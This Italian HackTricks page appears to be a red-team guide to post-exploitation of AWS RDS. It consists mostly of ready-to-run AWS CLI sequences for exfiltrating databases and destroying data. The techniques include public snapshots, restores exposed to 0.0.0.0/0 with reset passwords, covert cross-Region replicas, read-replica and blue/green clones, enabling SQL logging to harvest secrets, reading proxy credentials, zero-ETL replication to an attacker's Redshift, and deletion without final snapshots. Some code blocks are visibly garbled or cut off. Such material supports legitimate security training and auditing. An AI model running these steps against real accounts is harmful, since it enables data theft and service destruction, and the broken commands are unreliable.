AWS - RDS Post Exploitation
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
RDS
Per maggiori informazioni consulta:
AWS - Relational Database (RDS) Enum
rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance
Se lâattaccante ha permessi sufficienti, potrebbe rendere un DB accessibile pubblicamente creando uno snapshot del DB e ripristinando da quello snapshot un DB accessibile pubblicamente.
aws rds describe-db-instances # Get DB identifier
aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat
# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>
aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# Connect to the new DB after a few mins
rds:StopDBCluster & rds:StopDBInstance
Un attacker con rds:StopDBCluster o rds:StopDBInstance può forzare lâarresto immediato di unâistanza RDS o di un intero cluster, causando indisponibilitĂ del database, connessioni interrotte e lâinterruzione dei processi che dipendono dal database.
Per fermare una singola istanza DB (esempio):
aws rds stop-db-instance \
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
Per arrestare un intero DB cluster (esempio):
aws rds stop-db-cluster \
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
rds:Modify*
Un attaccante a cui sono state concesse le autorizzazioni rds:Modify* può alterare configurazioni critiche e risorse ausiliarie (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, ecc.) senza toccare direttamente lâistanza o il cluster. Modifiche come lâaggiustamento dei parametri di connessione/timeout, il cambio di un proxy endpoint, la modifica dei certificati considerati attendibili, lâalterazione della capacitĂ logica o la riconfigurazione di un subnet group possono indebolire la sicurezza (aprendo nuovi percorsi di accesso), interrompere il routing e il load-balancing, invalidare le policy di replica/backup e, in generale, degradare la disponibilitĂ o la capacitĂ di recupero. Queste modifiche possono anche facilitare lâesfiltrazione indiretta di dati o ostacolare un recupero ordinato del database dopo un incidente.
Spostare o cambiare le subnet assegnate a un RDS subnet group:
aws rds modify-db-subnet-group \
--db-subnet-group-name <db-subnet-group-name> \
--subnet-ids <subnet-id-1> <subnet-id-2>
Modificare i parametri a basso livello del motore in un gruppo di parametri del cluster:
aws rds modify-db-cluster-parameter-group \
--db-cluster-parameter-group-name <parameter-group-name> \
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
rds:Restore*
Un attacker con i permessi rds:Restore* può ripristinare interi database da snapshot, automated backups, point-in-time recovery (PITR), o file memorizzati in S3, creando nuove instances o clusters popolati con i dati del punto selezionato. Queste operazioni non sovrascrivono le risorse originali â creano nuovi oggetti contenenti i dati storici â il che permette a un attacker di ottenere copie complete e funzionanti del database (da punti temporali passati o da file esterni S3) e usarle per exfiltrate data, manipolare record storici o ricostruire stati precedenti.
Ripristinare una DB instance a un specifico point in time:
aws rds restore-db-instance-to-point-in-time \
--source-db-instance-identifier <source-db-instance-identifier> \
--target-db-instance-identifier <target-db-instance-identifier> \
--restore-time "<restore-time-ISO8601>" \
--db-instance-class <db-instance-class> \
--publicly-accessible --no-multi-az
rds:Delete*
Un attacker a cui è stato concesso rds:Delete* può rimuovere risorse RDS, eliminando DB instances, cluster, snapshot, backup automatici, subnet groups, parameter/option groups e artefatti correlati, causando unâimmediata interruzione del servizio, perdita di dati, distruzione dei punti di ripristino e perdita di prove forensi.
# Delete a DB instance (creates a final snapshot unless you skip it)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--final-db-snapshot-identifier <FINAL_SNAPSHOT_ID> # omit or replace with --skip-final-snapshot to avoid snapshot
# Delete a DB instance and skip final snapshot (more destructive)
aws rds delete-db-instance \
--db-instance-identifier <DB_INSTANCE_ID> \
--skip-final-snapshot
# Delete a manual DB snapshot
aws rds delete-db-snapshot \
--db-snapshot-identifier <DB_SNAPSHOT_ID>
# Delete an Aurora DB cluster (creates a final snapshot unless you skip)
aws rds delete-db-cluster \
--db-cluster-identifier <DB_CLUSTER_ID> \
--final-db-snapshot-identifier <FINAL_CLUSTER_SNAPSHOT_ID> # or use --skip-final-snapshot
rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot
Un attaccante con queste autorizzazioni potrebbe creare uno snapshot di un DB e renderlo pubblicamente disponibile. Quindi, potrebbe semplicemente creare nel proprio account un DB da quello snapshot.
Se lâattaccante non ha il rds:CreateDBSnapshot, può comunque rendere altri snapshot creati pubblici.
# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}
rds:DownloadDBLogFilePortion
Un attaccante con il permesso rds:DownloadDBLogFilePortion può scaricare porzioni dei file di log di unâistanza RDS. Se dati sensibili o credenziali di accesso vengono registrati accidentalmente, lâattaccante potrebbe potenzialmente usare queste informazioni per aumentare i propri privilegi o eseguire azioni non autorizzate.
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
Impatto potenziale: Accesso a informazioni sensibili o azioni non autorizzate utilizzando leaked credentials.
rds:DeleteDBInstance
Un attaccante con questi permessi può DoS le istanze RDS esistenti.
# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
Impatto potenziale: Cancellazione delle istanze RDS esistenti e possibile perdita di dati.
rds:StartExportTask
Note
TODO: Da testare
Un attaccante con questo permesso può esportare uno snapshot di unâistanza RDS in un bucket S3. Se lâattaccante ha il controllo sul bucket S3 di destinazione, può potenzialmente accedere a dati sensibili contenuti nello snapshot esportato.
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
Impatto potenziale: Accesso a dati sensibili nello snapshot esportato.
Replica cross-Region delle Automated Backups per un ripristino furtivo (rds:StartDBInstanceAutomatedBackupsReplication)
Abusa della replica cross-Region delle Automated Backups per duplicare silenziosamente gli automated backups di unâistanza RDS in unâaltra AWS Region e ripristinarli lĂŹ. Lâattaccante può quindi rendere il DB ripristinato pubblicamente accessibile e resettare la password principale per accedere ai dati fuori banda in una Region che i difensori potrebbero non monitorare.
Permessi necessari (minimi):
rds:StartDBInstanceAutomatedBackupsReplicationin the destination Regionrds:DescribeDBInstanceAutomatedBackupsin the destination Regionrds:RestoreDBInstanceToPointInTimein the destination Regionrds:ModifyDBInstancein the destination Regionrds:StopDBInstanceAutomatedBackupsReplication(optional cleanup)ec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(to expose the restored DB)
Impatto: Persistenza ed esfiltrazione di dati ripristinando una copia di dati di produzione in unâaltra Region e rendendola pubblica con credenziali controllate dallâattaccante.
CLI end-to-end (sostituire i segnaposto)
```bash # 1) Recon (SOURCE region A) aws rds describe-db-instances \ --region2) Start cross-Region automated backups replication (run in DEST region B)
aws rds start-db-instance-automated-backups-replication
âregion <DEST_REGION>
âsource-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
âsource-region <SOURCE_REGION>
âbackup-retention-period 7
3) Wait for replication to be ready in DEST
aws rds describe-db-instance-automated-backups
âregion <DEST_REGION>
âquery âDBInstanceAutomatedBackups[*].[DBInstanceAutomatedBackupsArn,DBInstanceIdentifier,Status]â
âoutput table
Proceed when Status is âreplicatingâ or âactiveâ and note the DBInstanceAutomatedBackupsArn
4) Restore to latest restorable time in DEST
aws rds restore-db-instance-to-point-in-time
âregion <DEST_REGION>
âsource-db-instance-automated-backups-arn <AUTO_BACKUP_ARN>
âtarget-db-instance-identifier <TARGET_DB_ID>
âuse-latest-restorable-time
âdb-instance-class db.t3.micro
aws rds wait db-instance-available âregion <DEST_REGION> âdb-instance-identifier <TARGET_DB_ID>
5) Make public and reset credentials in DEST
5a) Create/choose an open SG permitting TCP/3306 (adjust engine/port as needed)
OPEN_SG_ID=$(aws ec2 create-security-group âregion <DEST_REGION>
âgroup-name open-rds-
âquery GroupId âoutput text)
aws ec2 authorize-security-group-ingress âregion <DEST_REGION>
âgroup-id â$OPEN_SG_IDâ
âip-permissions IpProtocol=tcp,FromPort=3306,ToPort=3306,IpRanges=â[{CidrIp=0.0.0.0/0}]â
5b) Publicly expose restored DB and attach the SG
aws rds modify-db-instance âregion <DEST_REGION>
âdb-instance-identifier <TARGET_DB_ID>
âpublicly-accessible
âvpc-security-group-ids â$OPEN_SG_IDâ
âapply-immediately
aws rds wait db-instance-available âregion <DEST_REGION> âdb-instance-identifier <TARGET_DB_ID>
5c) Reset the master password
aws rds modify-db-instance âregion <DEST_REGION>
âdb-instance-identifier <TARGET_DB_ID>
âmaster-user-password â<NEW_STRONG_PASSWORD>â
âapply-immediately
aws rds wait db-instance-available âregion <DEST_REGION> âdb-instance-identifier <TARGET_DB_ID>
6) Connect to <TARGET_DB_ID> endpoint and validate data (example for MySQL)
ENDPOINT=$(aws rds describe-db-instances âregion <DEST_REGION>
âdb-instance-identifier <TARGET_DB_ID>
âquery âDBInstances[0].Endpoint.Addressâ âoutput text)
mysql -h â$ENDPOINTâ -u <MASTER_USERNAME> -pâ<NEW_STRONG_PASSWORD>â -e âSHOW DATABASES;â
7) Optional: stop replication
aws rds stop-db-instance-automated-backups-replication
âregion <DEST_REGION>
âsource-db-instance-arn <SOURCE_DB_INSTANCE_ARN>
</details>
### Abilita il logging SQL completo tramite DB parameter groups ed esfiltra tramite RDS log APIs
Abusa di `rds:ModifyDBParameterGroup` insieme alle RDS log download APIs per catturare tutte le istruzioni SQL eseguite dalle applicazioni (non sono necessarie credenziali del DB engine). Abilita il logging SQL dell'engine e scarica i file di log tramite `rds:DescribeDBLogFiles` e `rds:DownloadDBLogFilePortion` (o la REST `downloadCompleteLogFile`). Utile per raccogliere query che possono contenere segreti/PII/JWTs.
Permessi necessari (minimi):
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
- `rds:ModifyDBInstance` (solo per associare un parameter group personalizzato se l'istanza sta usando quello di default)
- `rds:RebootDBInstance` (per parametri che richiedono il reboot, es. PostgreSQL)
Passaggi
1) Recon del target e del parameter group corrente
```bash
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
--output table
- Assicurati che sia associato un DB parameter group personalizzato (non è possibile modificare quello predefinito)
- Se lâistanza usa giĂ un DB parameter group personalizzato, riutilizza il suo nome nel passo successivo.
- Altrimenti crea e associa uno che corrisponda alla famiglia del motore:
# Example for PostgreSQL 16
aws rds create-db-parameter-group \
--db-parameter-group-name ht-logs-pg \
--db-parameter-group-family postgres16 \
--description "HT logging"
aws rds modify-db-instance \
--db-instance-identifier <DB> \
--db-parameter-group-name ht-logs-pg \
--apply-immediately
# Wait until status becomes "available"
- Abilitare il logging SQL dettagliato
- Motori MySQL (immediato / senza riavvio):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=1,ApplyMethod=immediate" \
"ParameterName=log_output,ParameterValue=FILE,ApplyMethod=immediate"
# Optional extras:
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
- Motori PostgreSQL (riavvio richiesto):
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=all,ApplyMethod=pending-reboot"
# Optional to log duration for every statement:
# "ParameterName=log_min_duration_statement,ParameterValue=0,ApplyMethod=pending-reboot"
# Reboot if any parameter is pending-reboot
aws rds reboot-db-instance --db-instance-identifier <DB>
- Lascia eseguire il carico di lavoro (o genera query). Le query verranno scritte nei file di log del motore
- MySQL:
general/mysql-general.log - PostgreSQL:
postgresql.log
- Individua e scarica i log (non sono richieste credenziali DB)
aws rds describe-db-log-files --db-instance-identifier <DB>
# Pull full file via portions (iterate until AdditionalDataPending=false). For small logs a single call is enough:
aws rds download-db-log-file-portion \
--db-instance-identifier <DB> \
--log-file-name general/mysql-general.log \
--starting-token 0 \
--output text > dump.log
- Analizzare offline alla ricerca di dati sensibili
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
Esempio di evidenza (redatta):
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
Pulizia
- Ripristinare i parametri ai valori predefiniti e riavviare se necessario:
# MySQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=general_log,ParameterValue=0,ApplyMethod=immediate"
# PostgreSQL
aws rds modify-db-parameter-group \
--db-parameter-group-name <PGNAME> \
--parameters \
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
# Reboot if pending-reboot
Impatto: Accesso ai dati post-exploitation catturando tutte le SQL statements delle applicazioni tramite AWS APIs (no DB creds), potenzialmente leaking segreti, JWTs e PII.
rds:CreateDBInstanceReadReplica, rds:ModifyDBInstance
Abusare delle read replica di RDS per ottenere accesso in lettura out-of-band senza toccare le credenziali dellâistanza primaria. Un attacker può creare una read replica da unâistanza di produzione, resettare la master password della replica (questo non cambia la primaria) e, opzionalmente, esporre la replica pubblicamente per esfiltrare i dati.
Permessi necessari (minimo):
rds:DescribeDBInstancesrds:CreateDBInstanceReadReplicards:ModifyDBInstanceec2:CreateSecurityGroup,ec2:AuthorizeSecurityGroupIngress(if exposing publicly)
Impatto: Accesso in sola lettura ai dati di produzione tramite una replica con credenziali controllate dallâattacker; minore probabilitĂ di rilevamento poichĂŠ la primaria rimane intatta e la replication continua.
# 1) Recon: find non-Aurora sources with backups enabled
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBInstanceArn,DBSubnetGroup.DBSubnetGroupName,VpcSecurityGroups[0].VpcSecurityGroupId,PubliclyAccessible]' \
--output table
# 2) Create a permissive SG (replace <VPC_ID> and <YOUR_IP/32>)
aws ec2 create-security-group --group-name rds-repl-exfil --description 'RDS replica exfil' --vpc-id <VPC_ID> --query GroupId --output text
aws ec2 authorize-security-group-ingress --group-id <SGID> --ip-permissions '[{"IpProtocol":"tcp","FromPort":3306,"ToPort":3306,"IpRanges":[{"CidrIp":"<YOUR_IP/32>","Description":"tester"}]}]'
# 3) Create the read replica (optionally public)
aws rds create-db-instance-read-replica \
--db-instance-identifier <REPL_ID> \
--source-db-instance-identifier <SOURCE_DB> \
--db-instance-class db.t3.medium \
--publicly-accessible \
--vpc-security-group-ids <SGID>
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 4) Reset ONLY the replica master password (primary unchanged)
aws rds modify-db-instance --db-instance-identifier <REPL_ID> --master-user-password 'NewStr0ng!Passw0rd' --apply-immediately
aws rds wait db-instance-available --db-instance-identifier <REPL_ID>
# 5) Connect and dump (use the SOURCE master username + NEW password)
REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID> --query 'DBInstances[0].Endpoint.Address' --output text)
# e.g., with mysql client: mysql -h "$REPL_ENDPOINT" -u <MASTER_USERNAME> -p'NewStr0ng!Passw0rd' -e 'SHOW DATABASES; SELECT @@read_only, CURRENT_USER();'
# Optional: promote for persistence
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
Esempio di evidenza (MySQL):
- Stato della replica DB:
available, read replication:replicating - Connessione riuscita con la nuova password e
@@read_only=1che conferma lâaccesso in sola lettura alla replica.
rds:CreateBlueGreenDeployment, rds:ModifyDBInstance
Abusare di RDS Blue/Green per clonare un DB di produzione in un ambiente green continuamente replicato e in sola lettura. Poi reimpostare le credenziali del master green per accedere ai dati senza toccare lâistanza blue (prod). Questo è piĂš furtivo rispetto alla condivisione di snapshot e spesso aggira il monitoraggio focalizzato solo sulla sorgente.
# 1) Recon â find eligible source (nonâAurora MySQL/PostgreSQL in the same account)
aws rds describe-db-instances \
--query 'DBInstances[*].[DBInstanceIdentifier,DBInstanceArn,Engine,EngineVersion,DBSubnetGroup.DBSubnetGroupName,PubliclyAccessible]'
# Ensure: automated backups enabled on source (BackupRetentionPeriod > 0), no RDS Proxy, supported engine/version
# 2) Create Blue/Green deployment (replicates blue->green continuously)
aws rds create-blue-green-deployment \
--blue-green-deployment-name ht-bgd-attack \
--source <BLUE_DB_ARN> \
# Optional to upgrade: --target-engine-version <same-or-higher-compatible>
# Wait until deployment Status becomes AVAILABLE, then note the green DB id
aws rds describe-blue-green-deployments \
--blue-green-deployment-identifier <BGD_ID> \
--query 'BlueGreenDeployments[0].SwitchoverDetails[0].TargetMember'
# Typical green id: <blue>-green-XXXX
# 3) Reset the green master password (does not affect blue)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--master-user-password 'Gr33n!Exfil#1' \
--apply-immediately
# Optional: expose the green for direct access (attach an SG that allows the DB port)
aws rds modify-db-instance \
--db-instance-identifier <GREEN_DB_ID> \
--publicly-accessible \
--vpc-security-group-ids <SG_ALLOWING_DB_PORT> \
--apply-immediately
# 4) Connect to the green endpoint and query/exfiltrate (green is readâonly)
aws rds describe-db-instances \
--db-instance-identifier <GREEN_DB_ID> \
--query 'DBInstances[0].Endpoint.Address' --output text
# Then connect with the master username and the new password and run SELECT/dumps
# e.g. MySQL: mysql -h <endpoint> -u <master_user> -p'Gr33n!Exfil#1'
# 5) Cleanup â remove blue/green and the green resources
aws rds delete-blue-green-deployment \
--blue-green-deployment-identifier <BGD_ID> \
--delete-target true
Impatto: Accesso in sola lettura ma completo ai dati di una copia quasi in tempo reale della produzione senza modificare lâistanza di produzione. Utile per estrazione furtiva dei dati e analisi offline.
SQL fuori banda via RDS Data API abilitando lâendpoint HTTP + reimpostando la master password
Abusa di Aurora per abilitare lâendpoint HTTP del RDS Data API su un cluster target, reimpostare la master password con un valore che controlli ed eseguire SQL via HTTPS (non è richiesto un percorso di rete VPC). Funziona sui motori Aurora che supportano il Data API/EnableHttpEndpoint (e.g., Aurora MySQL 8.0 provisioned; some Aurora PostgreSQL/MySQL versions).
Permessi (minimi):
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
- secretsmanager:CreateSecret
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
Impatto: Consente di bypassare la segmentazione di rete ed esfiltrare dati tramite le API AWS senza connettivitĂ VPC diretta al DB.
CLI end-to-end (esempio Aurora MySQL)
```bash # 1) Identify target cluster ARN REGION=us-east-1 CLUSTER_ID=2) Enable Data API HTTP endpoint on the cluster
Either of the following (depending on API/engine support):
aws rds enable-http-endpoint âregion $REGION âresource-arn â$CLUSTER_ARNâ
or
aws rds modify-db-cluster âregion $REGION âdb-cluster-identifier $CLUSTER_ID
âenable-http-endpoint âapply-immediately
Wait until HttpEndpointEnabled is True
aws rds wait db-cluster-available âregion $REGION âdb-cluster-identifier $CLUSTER_ID
aws rds describe-db-clusters âregion $REGION âdb-cluster-identifier $CLUSTER_ID
âquery âDBClusters[0].HttpEndpointEnabledâ âoutput text
3) Reset master password to attacker-controlled value
aws rds modify-db-cluster âregion $REGION âdb-cluster-identifier $CLUSTER_ID
âmaster-user-password âSup3rStr0ng!1â âapply-immediately
Wait until pending password change is applied
while :; do
aws rds wait db-cluster-available âregion $REGION âdb-cluster-identifier $CLUSTER_ID
P=$(aws rds describe-db-clusters âregion $REGION âdb-cluster-identifier $CLUSTER_ID
âquery âDBClusters[0].PendingModifiedValues.MasterUserPasswordâ âoutput text)
[[ â$Pâ == âNoneâ || â$Pâ == ânullâ ]] && break
sleep 10
done
4) Create a Secrets Manager secret for Data API auth
SECRET_ARN=$(aws secretsmanager create-secret âregion $REGION âname rdsdata/demo-$CLUSTER_ID
âsecret-string â{âusernameâ:âadminâ,âpasswordâ:âSup3rStr0ng!1â}â
âquery ARN âoutput text)
5) Prove out-of-band SQL via HTTPS using rds-data
(Example with Aurora MySQL; for PostgreSQL, adjust SQL and username accordingly)
aws rds-data execute-statement âregion $REGION âresource-arn â$CLUSTER_ARNâ
âsecret-arn â$SECRET_ARNâ âdatabase mysql âsql âcreate database if not exists demo;â
aws rds-data execute-statement âregion $REGION âresource-arn â$CLUSTER_ARNâ
âsecret-arn â$SECRET_ARNâ âdatabase demo âsql âcreate table if not exists pii(note text);â
aws rds-data execute-statement âregion $REGION âresource-arn â$CLUSTER_ARNâ
âsecret-arn â$SECRET_ARNâ âdatabase demo âsql âinsert into pii(note) values (âtoken=SECRET_JWTâ);â
aws rds-data execute-statement âregion $REGION âresource-arn â$CLUSTER_ARNâ
âsecret-arn â$SECRET_ARNâ âdatabase demo âsql âselect current_user(), now(), (select count(*) from pii) as row_count;â
âformat-records-as JSON
</details>
Note:
- Se SQL con piĂš istruzioni viene rifiutato da rds-data, emettere chiamate separate execute-statement.
- Per gli engine in cui modify-db-cluster --enable-http-endpoint non ha effetto, usare rds enable-http-endpoint --resource-arn.
- Assicurarsi che engine/version supporti effettivamente la Data API; altrimenti HttpEndpointEnabled rimarrĂ False.
### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
Abusare della configurazione di RDS Proxy per scoprire il secret di Secrets Manager usato per l'autenticazione del backend, quindi leggere il secret per ottenere le credenziali del database. Molti ambienti concedono ampio `secretsmanager:GetSecretValue`, rendendo questo un pivot a basso attrito verso le credenziali DB. Se il secret utilizza una CMK, autorizzazioni KMS scorrettamente limitate possono anche permettere `kms:Decrypt`.
Permissions needed (minimum):
- `rds:DescribeDBProxies`
- `secretsmanager:GetSecretValue` on the referenced SecretArn
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
Impact: Divulgazione immediata di username/password del DB configurati sul proxy; consente accesso diretto al DB o ulteriori movimenti laterali.
Passaggi
```bash
# 1) Enumerate proxies and extract the SecretArn used for auth
aws rds describe-db-proxies \
--query DBProxies[*].[DBProxyName,Auth[0].AuthScheme,Auth[0].SecretArn] \
--output table
# 2) Read the secret value (common over-permission)
aws secretsmanager get-secret-value \
--secret-id <SecretArnFromProxy> \
--query SecretString --output text
# Example output: {"username":"admin","password":"S3cr3t!"}
Lab (minimo necessario per riprodurre)
REGION=us-east-1
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
SECRET_ARN=$(aws secretsmanager create-secret \
--region $REGION --name rds/proxy/aurora-demo \
--secret-string username:admin \
--query ARN --output text)
aws iam create-role --role-name rds-proxy-secret-role \
--assume-role-policy-document Version:2012-10-17
aws iam attach-role-policy --role-name rds-proxy-secret-role \
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
--auth [AuthScheme:SECRETS] \
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
aws rds wait db-proxy-available --db-proxy-name p0
# Now run the enumeration + secret read from the Steps above
Pulizia (lab)
aws rds delete-db-proxy --db-proxy-name p0
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
aws iam delete-role --role-name rds-proxy-secret-role
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
Esfiltrazione continua furtiva tramite Aurora zeroâETL verso Amazon Redshift (rds:CreateIntegration)
Sfrutta lâintegrazione Aurora PostgreSQL zeroâETL per replicare continuamente i dati di produzione in un namespace Redshift Serverless che controlli. Con una permissiva Redshift resource policy che autorizza CreateInboundIntegration/AuthorizeInboundIntegration per un ARN di un cluster Aurora specifico, un attacker può stabilire una copia dei dati quasi in tempo reale senza DB creds, snapshots o network exposure.
Permessi necessari (minimi):
rds:CreateIntegration,rds:DescribeIntegrations,rds:DeleteIntegrationredshift:PutResourcePolicy,redshift:DescribeInboundIntegrations,redshift:DescribeIntegrationsredshift-data:ExecuteStatement/GetStatementResult/ListDatabases(per interrogare)rds-data:ExecuteStatement(opzionale; per popolare i dati se necessario)
Testato su: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
1) Creare namespace Redshift Serverless + workgroup
```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ --admin-username adminuser --admin-user-password 'AdminPwd-1!' \ --query namespace.namespaceArn --output text) RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \ --namespace-name ztl-ns --base-capacity 8 --publicly-accessible \ --query workgroup.workgroupArn --output text) # Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL) aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \ --config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true ```2) Configurare la resource policy di Redshift per consentire la sorgente Aurora
```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN=3) Crea cluster Aurora PostgreSQL (abilita Data API e replica logica)
```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --engine aurora-postgresql --engine-version 16.4 \ --master-username postgres --master-user-password 'InitPwd-1!' \ --enable-http-endpoint --no-deletion-protection --backup-retention-period 1 aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID # Serverless v2 instance aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \ --db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 # Cluster parameter group for zeroâETL aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \ --db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params" aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \ ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \ ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ --db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text) ```4) Crea l'integrazione zeroâETL da RDS
```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ --target-arn "$RS_NS_ARN" --integration-name ztl-demo \ --data-filter 'include: postgres.*.*' # Redshift inbound integration should become ACTIVE aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN" ```5) Materializzare e interrogare i dati replicati in Redshift
```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "select integration_id from svv_integration" # take the GUID value aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ --sql "create database ztl_db from integration 'Prove osservate nel test:
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:âŚ377a462b-âŚ
- SVV_INTEGRATION showed integration_id 377a462b-c42c-4f08-937b-77fe75d98211 and state PendingDbConnectState prior to DB creation.
- After CREATE DATABASE FROM INTEGRATION, listing tables revealed schema ztl and table customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
Impatto: exfiltration continua quasi in tempo reale di tabelle selezionate di Aurora PostgreSQL verso Redshift Serverless controllato dallâattaccante, senza utilizzare credenziali del database, backup o accesso di rete al cluster sorgente.
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
